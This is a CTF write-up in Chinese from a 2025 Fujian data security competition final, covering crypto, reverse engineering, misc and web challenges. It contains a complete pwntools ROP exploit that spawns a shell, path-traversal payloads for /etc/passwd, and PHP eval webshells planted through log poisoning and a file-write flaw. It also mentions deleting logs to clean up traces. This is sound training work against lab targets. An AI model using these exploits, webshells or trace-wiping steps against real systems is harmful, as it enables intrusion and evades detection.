2025福建省数据安全大赛决赛CTF部分——NISA_WuYuM的wp。
前言
下面部分题解的内容来自我的两个超大杯队友,公布他们的题解内容也已经过了他们的允许。
Crypto
the key to AES
首先,阅读分析一下给出的脚本:
from secret import flag, key
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import *
assert int(key) % 2 == 0 # 这边应该是在说,这个key是偶数
def gen_key(key): # 生成key
padded_key = key.encode() + b'\x0a' * 10 # 输入key后,填充10个\x0a字节
assert len(padded_key) == 16 # 填充完后,是16个字节,那所以key应该是6字节,那就是6个数字
return padded_key # 返回填充后的key,看来这个函数也就只是这样而已
def encrypt(msg, key): # 加密函数
padded_key = gen_key(key) # 要生成填充后的key
aes = AES.new(padded_key, mode=AES.MODE_ECB) # 创建一个AES_ECB
msg = aes.encrypt(msg) # 做AES加密
return msg # 返回加密后的结果
c1 = md5(encrypt(b'0123456789abcdef', key)).hexdigest() # 这边是先AES加密了b'0123456789abcdef',用未知密钥,然后md5加密,后续会输出
c2 = encrypt(pad(flag.encode(), 16), key) # 这边是用同样的key加密了flag,然后返回加密结果
print(f'c1: {c1}')
print(f'c2: {c2}')
'''
c1: 7f22b1ca2f586a84f6e676634cc1778a
c2: b'#\xa85\xde6\xab\xe1\xc8DWx\xa5O\xf9PJ\xf9\x8e\xf3PR\x9a\xb5H\x17\xe9\x8d\x01\xb9\xf4\x07\x15p\x98\xda\x81l\x17!\xb8\xcb\x88\xa1?\xe93G_'
'''

这边能观察到两段加密代码用了相同密钥,看来是要通过第一个md5的输出来猜密钥是什么,然后应用到flag的加密中。
那么key根据上面函数可知,应该是6位数,所以我们可以爆破,以md5碰撞为依据。
于是写python尝试碰撞出key并解密:
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import *
def gen_key(key): # 生成key
padded_key = key.encode() + b'\x0a' * 10 # 输入key后,填充10个\x0a字节
assert len(padded_key) == 16 # 填充完后,是16个字节,那所以key应该是6字节,那就是6个数字
return padded_key # 返回填充后的key,看来这个函数也就只是这样而已
def encrypt(msg, key): # 加密函数
padded_key = gen_key(key) # 要生成填充后的key
aes = AES.new(padded_key, mode=AES.MODE_ECB) # 创建一个AES_ECB
msg = aes.encrypt(msg) # 做AES加密
return msg # 返回加密后的结果
def decrypt(msg, key): # 解密函数,输入填充后的key
padded_key = gen_key(key)
aes = AES.new(padded_key, mode=AES.MODE_ECB) # 创建一个AES_ECB
msg = aes.decrypt(msg) # 做AES加密
return msg # 返回加密后的结果
c1 = '7f22b1ca2f586a84f6e676634cc1778a'
c2 = b'#\xa85\xde6\xab\xe1\xc8DWx\xa5O\xf9PJ\xf9\x8e\xf3PR\x9a\xb5H\x17\xe9\x8d\x01\xb9\xf4\x07\x15p\x98\xda\x81l\x17!\xb8\xcb\x88\xa1?\xe93G_'
for key in range(0, 1000000):
key = str(key) # 转字符串
while len(key) != 6: # 不满6字节长就填充到6字节长
key = '0' + key
if md5(encrypt(b'0123456789abcdef', key)).hexdigest() == c1:
print(key)
print(decrypt(c2, key))
break
执行后获取到flag:

guess what
下载得到两个附件,一个是加密脚本,一个是 output.txt 。
output.txt 先看了一眼,是一堆二进制串,应该是通过加密脚本加密得到的。
然后阅读分析一下加密脚本:
from secret import flag, seed, noise
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import random
# seed = getPrime(32) # 随机获取一个32位大素数作为随机数的种子
# noise = random.randint(1, 20) # 生成一个噪音随机数
random.seed(seed) # 加载这个随机数种子
with open('output.txt', 'w') as f: # 打开output.txt准备写入内容
for _ in range(1248): # 循环1248下
temp = bin(random.getrandbits(16))[2:].zfill(16) # 一次获取16位的数,转成二进制串
f.write(temp) # 获取后尝试写入
f.close()
key = pad((str(seed) + str(noise)).encode(), 16) # key是seed字符串拼接noise,然后填充到16的整数倍个字节
aes = AES.new(key, mode=AES.MODE_ECB) # 然后用这个key来加密flag
c = aes.encrypt(pad(flag.encode(), 16))
print(f'c: {c}') # 输出密文
'''
c: b'\x87\xf15\xd0J;\x9c\xcfE\x07\xec5\x1bc\x07\x1c\xf5n\nA\xb8\xc4\x87\xafh:\xeca|\x1a\x19*m\xf3\x06\xe0p\xc8\xd8d\x00~\xf2L\x88\x05r-'
'''
这个是MT19937问题,需要求解seed。然后拼接noise,组成key去解出flag。
这个其实跟之前的0xGame第四周的一道题目的核心思想差不多。
那么这边就先求状态向量,然后求seed,然后爆破noise。实现脚本如下:
from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
import random
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
def mt19937(bs, out):
lin = LinearSystem([32] * 624) # MT19937 的内部状态有 624 个 32-bit 整数,于是构建这样的线性系统
mt = lin.gens() # 线性系统内部初始化(内部状态符号化,相当于先填充未知变量)
rng = MT19937(mt) # 根据上面符号化线性系统,定义一个随机数生成器
# 到这边都可以算是固定步骤
zeros = [rng.getrandbits(bs) ^ int(o) for o in out] + [mt[0] ^ 0x80000000] # 填充样本,准备求解。rng.getrandbits(bs)其实也就是表示已知部分在整个序列中形式,想办法表示已知部分在序列中的位置。
sol = lin.solve_one(zeros) # 求解出符合条件的内部状态
rng = MT19937(sol) # 指定MT19937的内部状态
pyrand = rng.to_python_random() # 使MT19937兼容python的random库
STATE = pyrand.getstate()[1][:-1] # 取状态向量且去掉末尾的计时器
STATE = STATE + (len(STATE),) # 使用新计数器
return STATE
def _int32(x):
return int(0xFFFFFFFF & x)
def _re_init_by_array_part(index, mt, multiplier):
return _int32((mt[index] + index) ^ (mt[index - 1] ^ mt[index - 1] >> 30) * multiplier)
def _init_genrand(seed, mt):
mt[0] = seed
for i in range(1, 624):
mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) + i)
def re_init_by_array(mt=None):
tmp = [_re_init_by_array_part(i, mt[:-1], 1566083941) for i in [622, 623]]
original_mt = [0] * 624
_init_genrand(19650218, original_mt)
predict_seed = _int32(tmp[-1] - _int32((tmp[-2] ^ (tmp[-2] >> 30)) * 1664525 ^ original_mt[-1]))
print(predict_seed)
return predict_seed
out = []
with open('./output.txt', 'r') as f:
tmp = f.read()
f.close()
for i in range(0, 1248 * 16, 16): # 收集样本,准备传给mt19937()函数
out.append(int(tmp[i:i+16], 2))
state = mt19937(16, out) # 标识每16bit为一个单位(可以自由选择其他后续方便于表示已知部分和未知部分关系的数量),这样输入的样本需有 624*32/16 个,而且得是已确定部分的十进制数字列表。而我们有1248个,足够了
predict_seed = re_init_by_array(state) # 这个STATE是一个有(624+1)个元素的整型列表。其中,最后一个元素无用,在该脚本中会被自动剔除掉(但这样也可以跟前面脚本无缝衔接起来)
c = b'\x87\xf15\xd0J;\x9c\xcfE\x07\xec5\x1bc\x07\x1c\xf5n\nA\xb8\xc4\x87\xafh:\xeca|\x1a\x19*m\xf3\x06\xe0p\xc8\xd8d\x00~\xf2L\x88\x05r-'
for noise in range(1, 21):
key = pad((str(predict_seed) + str(noise)).encode(), 16) # key是seed字符串拼接noise,然后填充到16的整数倍个字节
aes = AES.new(key, mode=AES.MODE_ECB) # 然后用这个key来加密flag
m = aes.decrypt(c)
if b"flag{" in m:
print(m)
然后放到Linux子系统中运行,成功解出flag:

Reverse
easyRE1
首先,拿到题目第一步,DIE查壳:

发现此处有UPX壳,尝试 upx -d 脱壳:

再次尝试DIE查壳:

发现成功脱壳。
接下来放入IDA中分析。
进入后直接 Shift + F12 发现可疑字符串:

双击跟进查看,然后 Ctrl + X 交叉引用,能发现回到了主函数:

于是查看主函数,F5反汇编后可见:

尝试分析一下:

下面还有四个不知道在干什么的函数,尝试逐个分析一下。
第一个函数是传入了用户的输入还有数字36,这个数字36应该就是前面的用户输入长度。
跟进后可见:

感觉比较复杂,简单分析一下:

所以第一个函数综合一下,就是用户是不是输入了一个带flag格式的东西。
ok,接下来看第二个函数:

传入的东西其实还是用户的输入还有用户输入的长度。
分析这个函数:

接下来分析第三个函数:

这边传入的东西还包含用户的输入还有用户输入的长度,还有个只是定义了一下的v9。
分析一下:

这边好像也可能是存在类型转换问题,所以也可能不是"a2[4i]",而是"a2[i]"。
接下来分析第四个函数:

属于是传入刚才异或得到的a2,然后还传入用户输入长度。
尝试分析一下:


至此,这四个函数分析完毕了:

我们可以写脚本,从密文出发,先解开异或,然后解开置换,这样就是用户应该输入的正确输入,也就是flag。
先复制密文,然后用记事本的替换功能处理一下数据:

这边还是感觉那个“4LL”只是类型转换,先忽略,然后尝试写解密脚本解密:
flag = []
v7 = [0] * 36 # 密文有36个元素,那这边就创建一下
v7[0] = 65614
v7[1] = 65639
v7[2] = 65650
v7[3] = 65606
v7[4] = 65541
v7[5] = 65628
v7[6] = 65654
v7[7] = 65629
v7[8] = 65643
v7[9] = 65550
v7[10] = 65662
v7[11] = 65577
v7[12] = 65635
v7[13] = 65677
v7[14] = 65580
v7[15] = 65637
v7[16] = 65636
v7[17] = 65557
v7[18] = 65644
v7[19] = 65652
v7[20] = 65586
v7[21] = 65671
v7[22] = 65670
v7[23] = 65628
v7[24] = 65566
v7[25] = 65631
v7[26] = 65653
v7[27] = 65675
v7[28] = 65632
v7[29] = 65573
v7[30] = 65656
v7[31] = 65643
v7[32] = 65656
v7[33] = 65651
v7[34] = 65663
v7[35] = 65658
# 解决异或
for i in range(0, len(v7)):
flag.append((v7[i] - i - 65537) ^ 0x30)
# 解决置换
for i in range(0, len(v7)//2):
flag[i], flag[35 - i] = flag[35 - i], flag[i]
# print(flag) # 到这边输出的是ASCII码,需要转换
for i in flag:
print(chr(i), end='')
到此处一举成功:

Pwn
KROP2
首先拿到一个文件,先checksec:

随后直接拖入IDA分析,直接 Shift + F12 查看字符串,发现有 system 函数:

随后也看到这个:

于是双击进入,然后 Ctrl + X 交叉引用,发现来到了此处:

可能我们要找到 /bin/bash ,然后配合system来执行。
但是关键问题是,找了一圈,没发现 /bin/bash 或者 /bin/sh 字符串……
先看一眼主函数,分析一下:

所以脚本先写点:
from pwn import *
p = remote('3.1.17.1', 8888)
payload = b'a' * (0x20 + 8)
p.sendline(payload)
p.interactive()
那么我们也许能用这个read函数来写入 /bin/bash ,那么我们先找一下read函数的地址:
objdump -d -j .plt.sec ./ROP2

objdump -R ./ROP2

分别查询了PLT表和GOT表,先记录一下system和read相关的信息:
system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028
然后因为这个是一个64位程序,那影响read函数三个参数的寄存器分别是rdi、rsi、rdx。
所以在地址界面找一找:

研究了一段时间,发现了这片地址上,r12的低位传给edi(可看作是rdi的一部分),r13传给rsi,r14传给rdx,然后 r15+rbx*8 要被当做一个函数地址来执行对应的函数。而下面那边的一堆pop代表这些参数我们都能改。
于是获取这两个gadget地址:
g1 = 0x4012ba
g2 = 0x4012a0
然后先在栈溢出后ret到g1,然后通过这些pop修改寄存器值,然后ret到g2,自动把rdi、rsi、rdx设置好,然后调用read函数(那看来得是read_got)。
那么这边如果调用了read,那么写入的地方可以是bss段,先获取一下bss段的地址:
readelf -S ./ROP2

那接下来还没到ret,应该还会继续执行,所以再看下面的汇编语言逻辑。发现会给rbx+1然后比较rbx和rbp的值,如果不一样就继续调用g2,否则就继续执行下面语句。下面语句有一个 add rsp, 8 ,栈指针偏移了8字节,这个稍后写一个随机8字节填充一下即可。然后就是pop,到时候用垃圾数据填充来跳过,直到ret。
那我们那些寄存器值一次就设置得差不多了,不需要再循环,所以这边构造 rbx=0 和 rbp=1 ,这样就可以。
那么我们先更新一下rop链:
from pwn import *
p = remote('3.1.17.1', 8888)
system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028
g1 = 0x4012ba
g2 = 0x4012a0
bss = 0x404060
payload = b'a' * (0x20 + 8)
payload += p64(g1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(bss)
payload += p64(0x10) # 长度设置这么多肯定够了
payload += p64(read_got)
payload += p64(g2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
p.sendline(payload)
p.interactive()
然后我们应该ret到system函数,然后system函数调用我们写入的东西,需要用到rdi寄存器,那我们可以找找其他的gadget看看:
ROPgadget --binary ./ROP2 --only "pop|ret"
于是发现了这个,正合适:

这样我们就能完成exp:
from pwn import *
p = remote('3.1.17.1', 8888)
system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028
g1 = 0x4012ba
g2 = 0x4012a0
bss = 0x404060 + 0x100
g3 = 0x4012c3
payload = b'a' * (0x20 + 8)
payload += p64(g1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(bss)
payload += p64(0x10) # 长度设置这么多肯定够了
payload += p64(read_got)
payload += p64(g2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(g3)
payload += p64(bss)
payload += p64(system_plt)
p.sendline(payload)
p.sendline('/bin/bash')
p.interactive()
成功获取到flag:

Misc
paint
首先拿到一张图片,看不出什么异常,于是先放WinHex中分析一下。然后这边能看到下面有异常,从下面这一行分隔开了正常图片内容和一堆十六进制:

尚且这边有 FFD9 ,jpg的文件尾。所以后面那些十六进制串有异常,尝试提取出来(这边是先删掉jpg的部分,然后记事本打开文件CV十六进制串),然后放到cyberchef中转字符:

然后发现解密出了其他密文,尝试后发现是base64:

于是就获得了坐标,把坐标放到随波逐流中转换为图片:

成功获取到二维码:

然后用cyberchef解密二维码,得到flag:

gif
首先能得到一个gif,gif中有许多帧,分别是二维码的多个部分。
于是放入ps中,尝试逐帧拼装:

得到结果:

放入cyberchef中进行二维码扫描获取到flag:

Web
music
首先,访问能获取到下面内容:

点击黄字会下载文件:

然后 Ctrl + U 查看网页前端代码:

发现下面内容,这边有base64串:

base64解密一下,能看到是一个文件名:

那么可能存在任意文件下载,因此我们可以借此来下载一些敏感文件之类的。
首先尝试验证该漏洞是否可用,先把下面这个加密为base64字符串:
../../../../../../../../etc/passwd
取得结果:
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

于是打开yakit抓包:

抓下载请求包:

修改:

发现返回:

噢噢,被拦截了,那么尝试下载当前页面的源码文件看一下:
./index.php
base64加密:
Li9pbmRleC5waHA=

构造数据包并发送:

再次被拦截:

这边我们在此处发现了 download.php :

于是再尝试一下:
./download.php
base64加密:
Li9kb3dubG9hZC5waHA=
发现可能可以拼接在URL栏中来执行,于是试一下:

但这边发现了一个问题,刚才在数据包那边构造参数的时候,没有处理base64的等号,这样可能导致数据包结构混乱,出现问题。所以重新试一下,多加个URL编码,不再赘述:


但貌似也是没有效果。
这边尝试让URL的参数置空,发现这边貌似是只要访问不到文件,就输出:

后续经过各种尝试,发现这个有效:
download.php
base64加密后:
ZG93bmxvYWQucGhw
尝试访问:

成功下载得到:

(虽然我们应该下载的是php才对呀?可能是下载会自动转为 .php 后缀的)
用记事本打开观察,发现关键内容:

所以把这个base64加密一下:
hereiskey.php
获得:
aGVyZWlza2V5LnBocA==

拼接:

用记事本打开发现flag:

文件包含
这题前面尝试了一下dirsearch目录扫描,发现有个敏感文件泄露 www.zip ,那么我们从此处开始做。直接访问 www.zip 可下载得:

打开后发现两个文件,第一个文件记事本打开:

其实就是访问后的界面,没什么用。
第二个文件Vscode打开:

分析一下:
<!doctype html>
<head>
<meta charset="utf-8">
<title>index</title>
</head>
<body>
<?php //php从这边开始
//error_reporting(0);
date_default_timezone_set('Asia/Shanghai'); //时区设置,此处没什么用
$scheme = $_SERVER['REQUEST_SCHEME']; //获取一下数据包中一些参数
$domain = $_SERVER['HTTP_HOST'];
$requestUri =$_SERVER['REQUEST_URI'];
$requestUri=str_replace("%3C",'<',$requestUri); //下面五行是URL解码
$requestUri=str_replace('%20',' ',$requestUri);
$requestUri=str_replace('%3E','>',$requestUri);
$requestUri=str_replace("%27","'",$requestUri);
$requestUri=str_replace('%22','"',$requestUri);
$log=date("Y-m-d")." ".$scheme.'://'.$domain.$requestUri.PHP_EOL; //发现上面获取的一些参数都只用来填充这边的日志文件
@$filename=$_GET['filename']; //这边获取GET参数filename,并且针对错误不做提示
if($filename==''){ //如果文件名没设置,就默认包含index1.html
$filename='index1.html';
}
if(stripos($filename,'../')!==false){ //大致意思应该是不可以用 ../ 这样的操作
exit('I can see you!!!');
}
include($filename); //文件包含filename!!!
$file='index.log'; //这边是日志文件index.log
$fp=fopen($file,'ab+'); //打开日志文件,从末尾开始写入
fwrite($fp,$log); //向日志文件中写入$log变量中的内容
fclose($fp); //关掉文件
?>
</body>
</html>
那么这个地方我们可以尝试把一句话木马写到日志中,然后包含执行。
首先观察一下数据包,开yakit抓包:

这边我尝试了在除了Host外的地方写一句话木马:
<?php @eval($_REQUEST['nisawuyum']);?>
然后尝试访问包含日志:
http://3.1.17.2/?filename=index.log

发现刚才的一句话木马不存在,但是也发现了filename的参数值会被包含到,于是构造:
http://3.1.17.2/?filename="<?php @eval($_REQUEST['nisawuyum']);?>"

然后尝试执行 phpinfo(); :
http://3.1.17.2/?filename=index.log&nisawuyum=phpinfo();

成功了,那么我们可以用蚁剑来连接:

在 /var/www/ 目录下找到:


拿到flag了。
顺带一提,走前清理一下痕迹,好习惯():

删掉上面这些:

GetShell
访问即见PHP代码:

于是开始审计:
<?php
if(isset($_GET) && !empty($_GET)){ # 假如存在GET非空传参
$url = $_GET['file']; # GET形式读取变量file的内容
$path = "upload/".$_GET['path']; # GET形式读取变量path的内容,然后拼接在 upload/ 后并访问
}else{ # 假如存在GET非空传参
show_source(__FILE__); # 页面上会刷出源码
exit();
}
if(strpos($path,'..') > -1){ # strpos是查找字符串首次出现的位置。这一整句效果应该是path变量中不应该出现 .. 符号,那不行
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){ # url参数如果是以 http://127.0.0.1/ 开头的
file_put_contents($path, file_get_contents($url)); # 这边应该是会把url参数指向的文件读取为一条字符串,然后把这条字符串传入到path变量指向的文件中
echo "console.log($path update successed!)"; # 如果成功触发了会输出出来
}else{ # url如果不是以 http://127.0.0.1/ 开头的,那不行
echo "Hello.Geeker";
}
那么我们要传入不包含 .. 符号的file变量和path变量。其中,file变量必须以 http://127.0.0.1/ 开头,然后file变量指向的文件做成一个字符串写到 /upload/{path变量} 中。
于是先尝试这样的构造:
http://3.1.17.4/?file=http://127.0.0.1/index.php&path=test0001.php

尝试访问,发现成功写入,说明功能的确和我们想象的一样:
http://3.1.17.4/upload/test0001.php

然后尝试这样的语句:
http://3.1.17.4/?file=http://127.0.0.1/1.php&path=test0001.php
再次访问发现:

那么多写点内容是否会不一样?尝试:
http://3.1.17.4/?file=http://127.0.0.1/999999999999999999999999.php&path=test0001.php

发现毫无变化,可能不是从这边下手:

此处我多观察了一段时间,发现其实比较可能的思路还是让一句话木马进入到php文件中,然后我们通过访问执行这个文件。
所以有一个想法:既然执行后页面会出现差不多这样的:console.log(upload/test0001.php update successed!) ,那么我们是不是可以让这个路径中出现一句话木马,然后文件变成一句话写入到其他文件中。
开始尝试构造:
http://3.1.17.4/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php&path="<?php @eval($_REQUEST['nisawuyum']);?>"&path=test0001.php
但是因为要涉及到多重构造,而调用一次index文件只能写入一组file变量和path变量,因此需要url编码。编码后:
http://3.1.17.4/?file=http%3A%2F%2F127.0.0.1%2Findex.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%2Findex.php%26path%3D%22%3C%3Fphp%20%40eval%28%24_REQUEST%5B%27nisawuyum%27%5D%29%3B%3F%3E%22&path=test0001.php
发现包含成功了:

其实当时我觉得这只不过是一次前期尝试,但是尝试了一下发现居然直接成功了:
http://3.1.17.4/upload/test0001.php?nisawuyum=phpinfo();

于是尝试蚁剑连接:


所以实际上刚才的一句话木马文件名是有效的,只不过被前端过滤掉了。
然后此处发现我们前面的猜想是正确的,就是执行结果会被作为字符串存入到文件中:

最后在此目录下找到了flag:

最后按照惯例清理一下痕迹:

清理后:

后面验证了一下,实际上删除成功了。